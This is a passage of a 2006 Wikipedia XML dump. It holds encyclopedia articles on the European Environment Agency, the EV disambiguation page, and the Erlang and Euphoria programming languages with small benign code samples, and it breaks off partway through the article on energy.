* Economic and monetary union of the [[Southern African Development Community]] (SADC), due in 2016
* Economic and monetary union of the [[South American Community of Nations]] (CSN), due in 2019
* Economic and monetary union of the [[African Economic Community]] (AEC), due in 2028

==See also==
* [[Monetary Union]] (Currency Union)

==External links==
* [http://euabc.com/index.phtml?word_id=314 Economic and Monetary Union, EMU] – on the [http://euabc.com euabc.com] website

[[Category:International trade]]

[[cs:Evropská měnová unie]]
[[da:ØMU]]
[[de:Europäische Wirtschafts- und Währungsunion]]
[[ga:Limistéar an eoró]]
[[it:Unione Economica e Monetaria]]
[[nl:Economische en Monetaire Unie]]
[[sv:Ekonomiska och monetära unionen]]
[[uk:Європейський валютний союз]]</text>
    </revision>
  </page>
  <page>
    <title>European Environment Agency</title>
    <id>9644</id>
    <revision>
      <id>40363140</id>
      <timestamp>2006-02-20T01:48:12Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{EU Agency | name=European Environment Agency
| image name=EEA agency logo.svg
| location=[[Copenhagen]], [[Denmark]]
| pillar=[[European Communities]]
| signdate=[[1990]]
| establish=[[1994]]
| director=[[Jacqueline McGlade]]
| website=[http://www.eea.eu.int http://www.eea.eu.int]
}}
'''European Environment Agency''' (EEA), agency of the [[European Union]] devoted to establishing a monitoring network for the monitoring of the European environment. It is governed by a Management Board composed of representatives of the governments of member states, a [[European Commission]] representative and two scientists appointed by the [[European Parliament]], assisted by a committee of scientists.

It was established by EEC Regulation 1210/1990, as amended by EEC Regulation 933/1999; and became operational in [[1994]]. It is headquartered in [[Copenhagen]], [[Denmark]].

As a EU body, member states of the European Union are automatically members; however the Council Regulation establishing it provided that other states may become members of it by means of agreements concluded between them and the [[European Community]]. 

[[As of 2004]] it has 31 members. It was the first EU body to open its membership to the 13 candidate countries (pre-[[enlargement of the EU|2004 enlargement]]). As of 2004 membership is:
* 25 EU member states
* EEA members ([[Iceland]], [[Norway]], [[Liechtenstein]])
* Candidate countries: [[Bulgaria]], [[Romania]], [[Turkey]].
Negotiations on membership are in progress with [[Switzerland]].

==External links==
*[http://www.eea.eu.int Website]

[[Category:Agencies of the European Union]]
[[Category:Environmental organizations]]

[[de:Europäische Umweltagentur]]
[[es:Agencia Europea de Medio Ambiente]]
[[fr:Agence européenne pour l'environnement]]
[[pl:Europejska Agencja Środowiska]]
[[tr:Avrupa Çevre Ajansı]]</text>
    </revision>
  </page>
  <page>
    <title>EV</title>
    <id>9645</id>
    <revision>
      <id>40665841</id>
      <timestamp>2006-02-22T04:03:41Z</timestamp>
      <contributor>
        <username>Eliseosoto</username>
        <id>238494</id>
      </contributor>
      <minor />
      <comment>Added Eddie Vedder</comment>
      <text xml:space="preserve">'''eV''' may mean:
* [[Electronvolt]], a unit of energy

'''e.V.''' may mean:
* ''[[Eingetragener Verein]]'', a registered club in Germany

'''EV''' may mean:
* [[Atlantic Southeast Airlines]], IATA airline designator
* [[Eaton Vance]], stock symbol for a company dealing in financial products
* Electoral Vote, a vote by a member of the [[U.S. Electoral College]]
* [[Electric vehicle]], a vehicle using an electric motor instead of an internal combustion engine
* [[Electro-Voice]], a company which makes microphones and other audio equipment
* ''Era vulgaris'', the Latin translation of [[Common Era]] (CE)
* [[Escape velocity]], the minimum velocity needed to escape the gravitational field of a planet or other body
* [[Escape Velocity (computer game)]], a role-playing computer game
* [[Exavolt]], an SI unit of electromotive force
* [[Expected value]], a basic concept in the mathematical field of probability
* [[Exposure value]], a combination of shutter speed and aperture in photography
* [[Enterprise value]], a term used in valuation of companies and investments
* [[Eddie Vedder]], frontman for the band [[Pearl Jam]]

'''Ev''' may mean:
* Ev, a fairy country which appears in the book ''[[Ozma of Oz]]''
* [[Ev Olcott]], a musician who usually just uses the name &quot;Ev&quot;

{{2LCdisambig}}

[[de:EV]]
[[ko:EV]]
[[it:Ev]]
[[ja:EV]]
[[pl:EV]]</text>
    </revision>
  </page>
  <page>
    <title>Erlang programming language</title>
    <id>9646</id>
    <revision>
      <id>41895983</id>
      <timestamp>2006-03-02T13:05:12Z</timestamp>
      <contributor>
        <ip>149.254.120.136</ip>
      </contributor>
      <comment>/* Other sites */</comment>
      <text xml:space="preserve">'''Erlang''' is a general-purpose [[concurrent programming language]] and
[[runtime]] system.  The sequential subset of Erlang is a [[functional language]], with [[strict evaluation]], [[single assignment]], and [[dynamic typing]]. It was designed in the company [[Ericsson]] to support
distributed, fault-tolerant, soft-[[real-time]], non-stop applications.  It supports [[hot swapping]] so code can be changed without stopping a system.  Erlang was originally a proprietary language within Ericsson, but was released as [[open source]] in 1998.  The Ericsson implementation is primarily interpreted, but also includes a compiler called HiPE (not supported on all platforms).

Creating and managing processes is trivial in Erlang, whereas [[threads]] are considered a complicated and error prone topic in most languages.

Erlang is named after [[Agner Krarup Erlang|A. K. Erlang]]. It is sometimes thought that its name is an abbreviation of '''ER'''icsson '''LANG'''uage, owing to its heavy use inside Ericsson. According to Bjarne Däcker who headed the Computer Science Lab at the time, this duality is intentional.

==Functional language==

Code looks like this:

 '''-module'''(fact).
 '''-export'''([fac/1]).
 
 fac(0) -&gt; 1;
 fac(N) '''when''' N &gt; 0 -&gt; N * fac(N-1).

Below is an implementation of a [[Quicksort]] algorithm.

 ''%% quicksort:qsort(List)''
 ''%% Sort a list of items''
 '''-module'''(quicksort).
 '''-export'''([qsort/1]).
 
 qsort([]) -&gt; [];
 qsort([Pivot|Rest]) -&gt;
     qsort([ X || X &lt;- Rest, X &lt; Pivot]) ++ [Pivot] ++ qsort([ Y || Y &lt;- Rest, Y &gt;= Pivot]).

The above example recursively calls the function &lt;code&gt;qsort&lt;/code&gt; until there is no more to be sorted. The expression &lt;code&gt;[ X || X &lt;- Rest, X &lt; Pivot]&lt;/code&gt; can be read as &quot;Choose all &lt;code&gt;X&lt;/code&gt; where &lt;code&gt;X&lt;/code&gt; is a member of &lt;code&gt;Rest&lt;/code&gt; and &lt;code&gt;X&lt;/code&gt; is less than &lt;code&gt;Pivot&lt;/code&gt;&quot;, resulting in a very easy way of handling Lists. Since you can evaluate any boolean expression between two different datatypes, the evaluation is straightforward: for example, &lt;code&gt;1 &lt; a&lt;/code&gt; will return &lt;code&gt;true&lt;/code&gt;.

However, a compare function can be used if the order on which Erlang bases its return value (&lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;) needs to be changed. For example, if we would want an ordered list where &lt;code&gt;a &lt; 1&lt;/code&gt; evaluates &lt;code&gt;true&lt;/code&gt;.

The following code would sort lists according to length:

 '''-module'''(listsort).
 '''-export'''([by_length/1]).
 
 by_length(Lists) -&gt;
     F = fun(A,B) when is_list(A), is_list(B) -&gt;
             length(A) &lt; length(B)
         end,
     qsort(Lists, F).
 
  qsort([], _) -&gt; [];
  qsort([Pivot|Rest], Smaller) -&gt;
      qsort([ X || X &lt;- Rest, Smaller(X, Pivot)], Smaller)
      ++ [Pivot] ++
      qsort([ Y || Y &lt;- Rest, not(Smaller(Y, Pivot))], Smaller).

==Concurrency and distribution oriented language==
The main strength of Erlang is support for [[Concurrency (computer science)|concurrency]]. It has small but powerful set of primitives to create processes and communicate between them.  The process model is based on [[C.A.R. Hoare]]'s [[Communicating Sequential Processes]]. Processes are primary means to structure the application and very large number of them can be created without performance degradation (a benchmark with 20 millions processes was tried [http://groups.google.com/group/comp.lang.functional/msg/33b7a62afb727a4f?dmode=source]).

There is also built-in support for distributed processes. Processes may be created on remote nodes,
and communication with them is transparent (i.e. the communication with remote processes is done
exactly as the communication with local processes).

Code examples:
  Pid = '''spawn'''(Mod, Func, Args)       ''% execute function Func as new process''
  Pid = '''spawn'''(Node, Mod, Func, Args) ''% execute function Func in remote node Node''

  Pid ! a_message      ''% send message to the process (asynchronously)''

  '''receive'''       ''% receive message sent to this process''
    a_message -&gt; do_something
  '''end'''.

Concurrency supports primary method of error-handling in Erlang.  When a process crashes, it neatly exits and sends a message to the controlling process who can take action. This way of error handling may increase maintainability and reduce complexity of code.

==Distribution==
Erlang was released by Ericsson as open-source to ensure its independence from a single vendor and to increase awareness of the language. Distribution of the language together with libraries and real-time distributed database (''Mnesia'') is known as the ''[[Open Telecom Platform]]'', or OTP. Ericsson and a few other companies offer commercial support for Erlang.

Since taking the open-source path in [[1998]], it became used by several companies world-wide, including [[Nortel Networks|Nortel]] and [[T-Mobile]]. However, it hasn't yet become a wide-spread mainstream programming language.

[[As of 2005]], Erlang is under active development with regular releases. It is available for several [[Unix-like]] operating systems and [[Microsoft Windows]].

== See also ==
*[[ejabberd]], an [[XMPP]]/[[Jabber]] instant messaging server written in Erlang.
*[[Wings 3D]], 3D modeller written in Erlang.
*[[YAWS (software)|Yet another web server]] (YAWS, fully featured Web server written in Erlang)

== External links ==
===Main project===
*[http://www.erlang.org/ Website of the project]
*[http://erlang.org/faq.html Mailing lists and FAQ]
*[http://www.erlang.org/white_paper.html Erlang white paper]
===Other sites===
*[http://www.erlang-consulting.com/ Erlang training and consulting services] &lt;!-- one of very few Erlang companies, notable in context --&gt;
*[http://www.erlang-projects.org/ A portal dedicated to Erlang] &lt;!-- maintained, contains some useful projects --&gt;
&lt;!-- *[http://www.trapexit.org/ A community Erlang documentation site] practically defunct as of 2006/02/17 --&gt;
*[http://jungerl.sourceforge.net/ A Jungle of erlang code] &lt;!-- lots of useful applications contributed by the community --&gt;
*[http://www.planeterlang.org/ A news aggregator for Erlang] &lt;!-- contains only info from other sites listed here but may be useful as quick overview --&gt;
*[http://video.google.com/videoplay?docid=-5830318882717959520 Movie documenting Erlang features] (Google Video Player needed, huge: over 500 MB)


{{Major programming languages small}}

[[Category:Programming languages]]
[[Category:Functional languages]]
[[Category:Concurrent programming languages]]

[[de:Erlang (Programmiersprache)]]
[[fr:Erlang (langage)]]
[[it:Erlang (linguaggio)]]
[[ko:%EC%96%BC%EB%9E%91_%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D_%EC%96%B8%EC%96%B4]]
[[nl:Erlang (programmeertaal)]]
[[ru:Erlang]]
[[sv:Erlang]]</text>
    </revision>
  </page>
  <page>
    <title>Euphoria programming language</title>
    <id>9647</id>
    <revision>
      <id>39282762</id>
      <timestamp>2006-02-12T02:02:42Z</timestamp>
      <contributor>
        <username>ZwoBot</username>
        <id>332929</id>
      </contributor>
      <minor />
      <comment>robot  Adding: de</comment>
      <text xml:space="preserve">'''Euphoria''' is an interpreted [[programming language]] conceived and created by Robert Craig of Rapid Deployment Software.

==Introduction==
Developed as a personal project to invent a programming language from scratch, Euphoria's first incarnation was created by Robert Craig on an Atari Mega-ST.
The current release is version 2.5 (March 8, 2005) for Windows, Linux, FreeBSD, and MS-DOS.

It was developed with the following '''design goals''' in mind:

#'''Simplicity''' - To be easier to learn and use than [[BASIC programming language|BASIC]], with more-consistent high-level constructs. Uses flat-form 32-bit memory to avoid complicated memory management and size/addressing limits.
#'''Power''' - To provide low-level capabilities needed to access the OS and BIOS for professional development, but be more structured and less terse than a low-level language, making low-level programming less dangerous.
#'''Safety''' - Extensive debugging support and run-time error-handling; automatic subscript checking, type-checking, and memory handling.
#'''Flexibility''' - User-defined type support, with variables as loosely or strictly typed as desired. Object-oriented programming can be accomplished by defining objects as types (subsets of the sequence, which is a general-purpose collection).
#'''Ease of Development''' - Interpreted, with automatic memory management and [[garbage collection (computer science)|garbage collection]].
#'''Speed''' - To be fast enough to rival [[compiled language]]s for usefulness, despite being an [[interpreted language]]

The name &quot;Euphoria&quot; itself is an acronym for &quot;End-User Programming with Hierarchical Objects for Robust Interpreted Applications&quot;, although there is some suspicion that this is in fact a [[backronym]].

The first world-visible incarnation of the language was for the 32-bit [[DOS]] platform and was released in July of 1993. The original Atari version, to date, has not been released.

Current versions support 32-bit DOS, [[Microsoft Windows|Windows]], [[Linux]], and [[FreeBSD]]. There is also a translator to convert Euphoria code into [[C programming language|C]] for compilation to native [[machine code]] and what is known as the Binder, which binds the Euphoria source code to the interpreter to make an executable instead of machine compiling.

With the release of version 2.5 the Euphoria interpreter was split into two sections: the front-end parser and the back-end interpreter. The front-end is now written in Euphoria instead of C and was released as open source. The front-end is also used with the Euphoria-to-C translator and the Binder.

==What is it used for==
Euphoria was primarily used by hobbyists for utility and [[computer game]] programming, but has proven useful for fairly diverse purposes. The primary strength seems to be the ease of handling dynamic collections of data of various types, most useful when dealing with string processing and image processing, which can be quite difficult in many languages. It has been used in [[artificial intelligence]] experiments, the study of [[mathematics]], for teaching programming, and to implement fonts involving thousands of characters. Also, Euphoria has been proven to be useful as a language to do [[Common Gateway Interface|CGI]] programing in.

Euphoria source code can be &quot;bound&quot; to the Euphoria run-time code 
to produce a stand-alone program for distribution. The code may also 
be &quot;shrouded&quot; to prevent others from viewing, copying, or changing the 
source.

You can also use the Euphoria-to-C translator to convert your Euphoria source code into [[C programming language|C]] source code and then compile it into [[machine language]]. Using this technique, you can create stand-alone programs as well as [[Library (computer science)#Dynamic linking|Windows DLL]] files.

==Data types==
Euphoria has just two ''basic'' data types:
;atom : These are numbers, implemented as either 31-bit [[integer]] or 64-bit [[IEEE floating-point standard|IEEE floating-point]], depending on the current value. Euphoria dynamically changes the implementation to the most efficient one for the data item's current value.
;sequence : [[Array|Vector]]s which can have zero or more elements; each element is either an '''atom''' or a '''sequence'''. The number of elements in a sequence is not fixed; the coder can add or remove elements as required during run-time. Euphoria automatically handles the allocation and deallocation of [[Random Access Memory|RAM]], and the [[garbage collection (computer science)|automatic garbage collection]] for you. Individual elements are referenced using an index value enclosed in square brackets. The first element in a sequence has an index of one [1]. Elements inside embedded sequences are referenced by additional bracked index values, thus X[3][2] refers to the second element contained in the sequence that is the third element of X.

Additionally, Euphoria has two ''specialized'' data types:
;integer : A special form of '''atom''', restricted to 31-bit [[integer]] values in the range -1073741824 to 1073741823. '''Integer''' data types are more efficient than the '''atom''' data types, but cannot contain the same range of values. Characters are stored as integers, eg coding [[ASCII]]-'A' is exactly the same as coding 65.
;object : A generic datatype that can contain any of the above, and can be changed during run-time. This means that if you have an object called X that is assigned the value 3.172, then later on you can assign it the value &quot;ABC&quot;. Note that in fact, each element of a '''sequence''' is actually an '''object'''.

There is no character [[string (computer science)|string]] data type, as these are represented by a '''sequence''' of '''integer''' values. However, because literal strings are so commonly used in programming, Euphoria interprets double-quote enclosed characters as a sequence of integers. Thus
 &lt;code&gt;&quot;ABC&quot;&lt;/code&gt;
is seen as if the coder had written:
 &lt;code&gt;{'A', 'B', 'C'}&lt;/code&gt;
which is the same as:
 &lt;code&gt;{65,66,67}&lt;/code&gt;

==Hello World==
  puts(1,&quot;Hello World!\n&quot;)

==Examples==
'''Note:''' Code comments start with a double dash &quot;--&quot; and go through the end of line. There are no multi-line comments.

As brief examples, the following code

 global function delete_item( object old, sequence group )
    integer pos
              -- Code begins --
    pos = find( old, group )
    if pos &gt; 0 then
        group = group[1..pos - 1] &amp; group[pos + 1..length( group )]
    end if
    return group
 end function

looks for an old item in a group of items. If found, it removes it by concatenating all the elements prior to it with all the elements after it. The result is then returned. Note that elements in sequences are 1-based indexed. This means that the first element has an index of 1. 

Simplicity is apparent in that the code clearly delineates its constructs with words. Instead of braces, semicolons, and question marks, you see phrases like 'if..then', 'end if', and 'end function'.

Flexibility is present; the item 'old' could be strings, numbers, images, or whole collections of data themselves. A different function for each data type isn't needed, nor does the programmer have to check the data types. This function will work with any sequence of data of any type, and requires no external libraries.

 global function replace_item( object old, object new, sequence group )
    integer pos
              -- Code begins --
    pos = find( old, group )
    if pos &gt; 0 then
        group[pos] = new
    end if
    return group
 end function

Safety is present due to the fact that there are no pointers involved and subscripts are automatically checked. Thus the function cannot access memory out-of-bounds, and cannot go beyond the end of the sequence or before the beginning of it to corrupt the memory. There is no need to explicitly allocate or deallocate memory, and no chance of a leak.

The line

 &lt;code&gt;group = group[1..pos - 1] &amp; group[pos + 1..length( group )]&lt;/code&gt;

shows some of the '''sequence''' handling facilities. A '''sequence''' can contain a collection of any types, and this can be sliced (to take a subset of the data in a '''sequence''') and concatenated in expressions, with no need for special functions.

Version 2.5 introduces the new '$' symbol, which is used for &quot;length(sequence).&quot; So, the above example could be written in 2.5 as follows:

 &lt;code&gt;group = group[1..pos - 1] &amp; group[pos + 1..$]&lt;/code&gt;

==Parameter passing==
Another feature is that all arguments to routines are always passed by value. There is no pass-by-reference facility. This is implemented in a very efficient manner as sequences automatically have [[copy-on-write]] semantics. In other words, when you pass a sequence to a routine, initially only a reference to it passed but at the point that the routine first modifies a sequence parameter, the sequence is copied and the routine updates a copy of the original.

==Comparisons==
* [[D programming language]]
* [[Lua Programming Language]]
* [[Python programming language]]

==External links==
Free downloads of Euphoria for the various platforms, packages, Windows IDE, Windows API libraries, a GTK+ wrapper for Linux, graphics libraries (DOS, OpenGL, etc).
* [http://www.rapideuphoria.com Euphoria website]
* [http://www.rapideuphoria.com/contrib.htm User Contributions]
* [http://www.rapideuphoria.com/othersit.htm User Web Sites]
* [http://www.listfilter.com/EUforum EUforum Message Board]
* [http://groups.yahoo.com/group/programming_euphoria/ Euphoria Yahoo Group]
* [http://uboard.proboards32.com UBoard: unofficial Message Board]
* [http://www.cklester.com/euphoria/ Programming with Euphoria - includes using Euphoria for CGI]
* [http://wxeuphoria.sourceforge.net/ wxEuphoria]
* [http://www.cklester.com/books/guiphoria/ GUIphoria]
===Commercial Use of Euphoria===
* [http://www.insight-concepts.com/ Insight-Concepts]
* [http://www.FormsOnADisk.com/ Forms On-A-Disk]

[[Category:Programming languages]]

[[de:Euphoria (Programmiersprache)]]
[[es:Euphoria]]
[[nl:Euphoria]]
[[pl:Euphoria]]</text>
    </revision>
  </page>
  <page>
    <title>Energy</title>
    <id>9649</id>
    <revision>
      <id>41841255</id>
      <timestamp>2006-03-02T02:17:42Z</timestamp>
      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
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      <minor />
      <comment>/* External links */ pdf warning.</comment>
      <text xml:space="preserve">[[Image:Lightning in Arlington.jpg|thumb|right|258px|[[Lightning]] is a highly visible form of energy transfer.]]

The term '''Energy''' (from Latin ''Energia'' and Greek ''Ενεργεια'') refers to the ability of a [[physical system]] to do [[mechanical work]].{{ref|nasa}} It is a fundamental [[concept]] pertaining to the ability for [[Action (physics)|action]].  The energy of a system can be quantified in many interdependent forms, but the total energy of a system is subject to [[energy conservation|conservation]].

Energy is not measured as an absolute quantity, but as relative to a [[Frame of reference|reference]] state or level. For example, a [[litre]] of [[water]] has more thermal energy when it is warm than when it is cold, and a car in motion has more kinetic energy than when it is at rest. It is important to realize that the selection of a reference state is arbitrary and has no effect on how a physical system operates, but that an informed selection can greatly simplify one's ''understanding'' of that system.

== Types of energy ==

Energy can be in several forms: mechanical [[potential energy|potential]]—due to possible physical interactions with other objects (for example, [[gravitational potential energy]]); [[kinetic energy|kinetic]]—contained in macroscopic [[motion]]; [[chemical energy|chemical]]—potential stored in [[chemical bonds]] between [[atoms]]; [[electrical energy|electrical]]—potential due to possible [[electrical charge|charge]] interactions; [[thermal energy|thermal]]—contained in the kinetic energy of individual [[molecules]]; [[nuclear energy|nuclear]]—potential stored between constituents of [[atomic nucleus |nuclei]]. Light can be viewed as energy in the form of [[photons]] or [[wave]]s, depending on context. The theory of [[general relativity]] provides a framework to envision [[mass]] itself as an expression of energy.

=== Forms of Energy ===
*[[Kinetic energy]]: the energy of moving objects
**[[Thermal energy]]: the energy associated with [[heat]]
**[[Sound|Sound energy]]: the energy of compression [[waves]]
*[[Potential Energy]]: the energy that an object has due to position; also known as stored energy
**[[Electrical energy]]: the energy stored between charged particles
**[[Chemical energy]]: the stored energy in [[chemical substance]]s
**[[Nuclear energy]]: the stored energy of the atomic nucleus
&lt;!--**[[Biomass energy]]: the energy created by burning plants and dung--&gt;
*[[Radiant energy]]: the energy of [[Electromagnetism|electromagnetic waves]], including light

== Conservation of energy ==

One form of energy can be readily transformed into another; for instance, a battery converts [[chemical energy]] into [[electrical energy]]. Similarly, [[gravitational potential energy]] is converted into the [[kinetic energy]] of moving [[water]] (and a [[turbine]]) in a [[dam]], which in turn is transformed into [[electric energy]] by a [[generator]]. The law of [[conservation of energy]] states that in a [[closed system]] the total amount of energy, corresponding to the sum of a system's constituent energy components, remains constant. Some works, thus some forms of energy, are not easily measured by the unaided observer.

This law follows from [[translational symmetry]] of [[time]], which states the independence of any physical process on the moment it started. Very small variations in energy and time are related through the [[Heisenberg Uncertainty Principle|uncertainty principle]], which allows for brief violations of conservation in a system:

:: &lt;math&gt;\Delta E \Delta t \ge h &lt;/math&gt;

== Non-Scientific Energy ==

The term &quot;energy&quot; is widely used in a [[Spirituality|spiritual]] or non-scientific way that cannot be quantified.

To mathematicians, engineers and scientists, the word &quot;energy&quot; has a strict and quantifiable definition.  Any usage of the word that violates this definition must be termed [[pseudoscience]].  They argue that the mixing of the non-scientific and scientific definitions of the word creates confusion.

Examples of pseudoscience are [[mysticism]] and [[parapsychology]] in fields such as [[acupuncture]] and [[reiki]]. Paranormal researchers will often refer to &quot;[[psychokinetic]] energy&quot; when attempting to explain [[paranormal]] phenomena or the concept of a [[spirit]] or [[soul]].

==Units==

===SI===

The [[SI]] unit for both '''energy''' and work is the [[joule]] (J), named in honour of [[James Prescott Joule]] and his experiments on the [[mechanical equivalent of heat]]. In slightly more fundamental terms, 1&amp;nbsp;joule is equal to 1&amp;nbsp;[[newton]]-[[metre]] and, in terms of [[SI base unit]]s:

&lt;math&gt;1\ \mathrm{J} = 1\ \mathrm{kg} \left( \frac{\mathrm{m}}{\mathrm{s}} \right ) ^ 2 = 1\ \frac{\mathrm{kg} \cdot \mathrm{m}^2}{\mathrm{s}^2}&lt;/math&gt;

An energy unit that is used in [[particle physics]] is the [[electronvolt]] (eV). One&amp;nbsp;eV&amp;nbsp; is equivalent to [[1 E-19 J|1.60217653&amp;times;10&lt;small&gt;&lt;sup&gt;&amp;minus;19&lt;/sup&gt;&lt;/small&gt;&amp;nbsp;J]].

In [[spectroscopy]] the unit cm&lt;sup&gt;-1&lt;/sup&gt; = 0.0001239 eV is used to represent energy since energy is inversely proportional to wavelength from the equation &lt;math&gt; E = h \nu = h c/\lambda &lt;/math&gt;.

(Note that [[torque]], which is typically expressed in newton-metres, has the same dimension and this is not a simple coincidence: a torque of 1 newton-metre applied on 1 radian requires exactly 1 newton-metre=joule of energy.)

===Other units of energy===

In [[cgs]] units, one [[erg]] is 1&amp;nbsp;[[gram|g]]&amp;nbsp;[[centimetre|cm]]&lt;small&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/small&gt;&amp;nbsp;[[second|s]]&lt;small&gt;&lt;sup&gt;&amp;minus;2&lt;/sup&gt;&lt;/small&gt;, equal to [[1 E-7 J|1.0&amp;times;10&lt;small&gt;&lt;sup&gt;&amp;minus;7&lt;/sup&gt;&lt;/small&gt;&amp;nbsp;J]].

The [[imperial units|imperial]]/[[US customary units|US units]] for both energy and work include the [[foot-pound force]] (1.3558&amp;nbsp;J), the [[British thermal unit]] (Btu) which has various values in the region of 1055 J, and the [[horsepower]]-hour (2.6845 MJ).

The energy unit used for everyday [[electricity]], particularly for utility bills, is the [[kilowatt-hour]] (kW&amp;nbsp;h), and one&amp;nbsp;kW&amp;nbsp;h is equivalent to [[1 E6 J|3.6&amp;times;10&lt;small&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/small&gt;&amp;nbsp;J&amp;nbsp;]] (3600&amp;nbsp;kJ or 3.6&amp;nbsp;MJ; the metric units usually are self-consistent, and this particular one may seem arbitrary; it's not, the metric measurement for time is the second, and there are 3,600 seconds in an hour -- in other words, 1 kW second = 1 kJ, but the kW&amp;nbsp;h is a more convenient unit for everyday use).

The [[calorie]] equals the amount of [[heat]] necessary to raise the [[temperature]] of one [[kilogram]] of [[water]] by 1 [[Celsius]] degree, at a [[pressure]] of 1 [[atmospheric pressure|atm]]. It is equal to [[1 E0 J|4.1868 kJ]]. [[Food energy]] is measured in kilocalories, commonly abbreviated as Calories.

==Transfer of energy==


===Work===
{{main|Mechanical work}}

''Work'' is a defined as a [path integral] of [force] F over distance s:

&lt;math&gt; W = \int \mathbf{F} \cdot \mathrm{d}\mathbf{s}&lt;/math&gt;

The equation above says that the work (&lt;math&gt;W&lt;/math&gt;) is equal to the integral of the [[dot product]] of the [[force]] (&lt;math&gt;\mathbf{F}&lt;/math&gt;) on a body and the [[infinitesimal]] of the body's [[position]] (&lt;math&gt;\mathbf{s}&lt;/math&gt;).

===Heat===  
{{main|Heat}}

''Heat'' is the common name for [[thermal energy]] of an object that is due to the motion of the [[atoms]] and [[molecules]] that constitute the object. This motion can be [[translational]] (motion of molecules or atoms as a whole); [[vibrational]] (relative motion of atoms within molecules) or [[rotational]] (motion of the atoms of a molecule about a common centre). It is the form of energy which is usually linked with a change in [[temperature]] or in a change in [[phase]] of [[matter]]. In [[chemistry]], heat is the amount of energy which is absorbed or released when atoms are rearranged between various molecules by a [[chemical reaction]].
The relationship between heat and energy is similar to that between work and energy. Heat flows from areas of high [[temperature]] to areas of low temperature. All objects (matter) have a certain amount of internal energy that is related to the random motion of their atoms or molecules. This internal energy is directly proportional to the temperature of the object. When two bodies of different [[temperature]] come in to thermal contact, they will exchange internal energy until the [[temperature]] is equalised. The amount of energy transferred is the amount of heat exchanged. It is a common misconception to confuse heat with internal energy, but there is a difference: the change of the internal energy is the heat that flows from the surroundings into the system plus the work performed by the surroundings on the system. Heat Energy is transferred in three different ways: [[Heat conduction|conduction]], [[convection]] and/or [[Thermal radiation|radiation]].

===Conservation of energy===
The first law of [[thermodynamics]] says that the total inflow of energy into a system must equal the total outflow of energy from the system, plus the change in the energy contained within the system. This law is used in all branches of physics, but frequently violated by quantum mechanics (see [[off shell]]). [[Noether's theorem]] relates the [[conservation of energy]] to the [[time invariance]] of physical laws.

An example of the conversion and [[conservation of energy]] is a [[pendulum]]. At its highest points the [[kinetic energy]] is zero and the [[potential gravitational energy]] is at its maximum. At its lowest point the [[kinetic energy]] is at its maximum and is equal to the decrease of [[potential energy]]. If one unrealistically assumes that there is no [[friction]], the energy will be conserved and the [[pendulum]] will continue swinging forever. (In practice, available energy is '''never''' perfectly conserved when a system changes state; otherwise, the creation of [[perpetual motion]] machines would be possible.)

Another example is a [[Chemical_explosive|chemical explosion]] in which [[potential chemical energy]] is converted to [[kinetic energy]] and [[heat]] in a very short time.

== Relations between different forms of energy ==

All forms of energy: [[thermal energy|thermal]], [[chemical energy|chemical]], [[electrical energy|electrical]], [[radiant energy|radiant]], [[nuclear energy|nuclear]] etc. can be in fact reduced to [[kinetic energy]] or [[potential energy]]. For example [[thermal energy]] is essentially [[kinetic energy]] of [[atoms]] and [[molecules]]; [[chemical energy]] can be visualized to be the [[potential energy]] of [[atoms]] within [[molecules]]; [[electrical energy]] can be visualized to be the [[potential energy|potential]] and [[kinetic energy]] of [[electrons]]; similarly [[nuclear energy]] is the [[potential energy]] of [[nucleons]] in [[atomic nuclei]].
=== Kinetic energy ===
{{main|Kinetic energy}}

[[Kinetic energy]] is the portion of energy related to motion.

:&lt;math&gt;E_k = \int \mathbf{v} \cdot \mathrm{d}\mathbf{p}&lt;/math&gt;

The equation above says that the kinetic energy (&lt;math&gt;E_k&lt;/math&gt;) is equal to the integral of the [[dot product]] of the [[velocity]] (&lt;math&gt;\mathbf{v}&lt;/math&gt;) of a body and the [[infinitesimal]] of the body's [[momentum]] (&lt;math&gt;\mathbf{p}&lt;/math&gt;).

For non-[[special relativity|relativistic]] velocities, that is velocities much smaller than the [[speed of light]], we can use the [[Newtonian approximation]]

:&lt;math&gt;E_k = \begin{matrix} \frac{1}{2} \end{matrix} mv^2&lt;/math&gt;

where 

''E''&lt;sub&gt;k&lt;/sub&gt; is [[kinetic energy]]

''m'' is [[mass]] of the body

''v'' is [[velocity]] of the body

At near-light velocities, we use the correct [[relativistic]] formula:

:&lt;math&gt;E_k = m c^2 (\gamma - 1) = \gamma m c^2 - m c^2 \;\!&lt;/math&gt;

:&lt;math&gt;\gamma = \frac{1}{\sqrt{1 - (v/c)^2}} &lt;/math&gt;

where

''v'' is the [[velocity]] of the body

''m'' is its [[rest mass]]

''c'' is the [[speed of light]] in a [[vacuum]], which is approximately 300,000 kilometers per second

&lt;math&gt;\gamma m c^2 \,&lt;/math&gt; is the ''total energy'' of the body

&lt;math&gt;m c^2 \,&lt;/math&gt; is again the [[rest mass]] energy.

See also, [[E=mc²]].

In the form of a [[Taylor series]], the [[relativistic]] formula can be written as:

:&lt;math&gt;E_k = \frac{1}{2} mv^2 - \frac{3}{8} \frac{mv^4} {c^2} + \cdots &lt;/math&gt;

Hence, the second and higher terms in the series correspond with the &quot;inaccuracy&quot; of the Newtonian approximation for kinetic energy in relation to the [[relativistic]] formula.

However, the phrase &quot;conservation of energy&quot; is often confusing to a non scientist. This is so, because of the common usage of the terms &quot;save energy&quot; or conserve energy&quot; used in campaigns for conservation of energy resources like electricity or fossil fuels.

=== Potential energy ===
{{main|Potential energy}}

In contrast to [[kinetic energy]], which is the energy of a [[system]] due to its [[motion]], or the internal motion of its particles, the [[potential energy]] of a system is the energy associated with the spatial configuration of its components and their interaction with each other. Any number of particles which exert forces on each other automatically constitute a system with potential energy. Such forces, for example, may arise from [[electrostatic]] interaction (see [[Coulomb's law]]), or [[gravity]].

In an isolated system consisting of two stationary objects that exert a force &lt;math&gt;f(x)&lt;/math&gt; on each other and lie on the x-axis, their [[potential energy]] is most generally defined as 

:&lt;math&gt;E_p = -\int f(x) \, dx&lt;/math&gt;

where the force between the objects varies only with [[distance]] &lt;math&gt;x&lt;/math&gt; and is [[integrated]] along the line connecting the two objects.

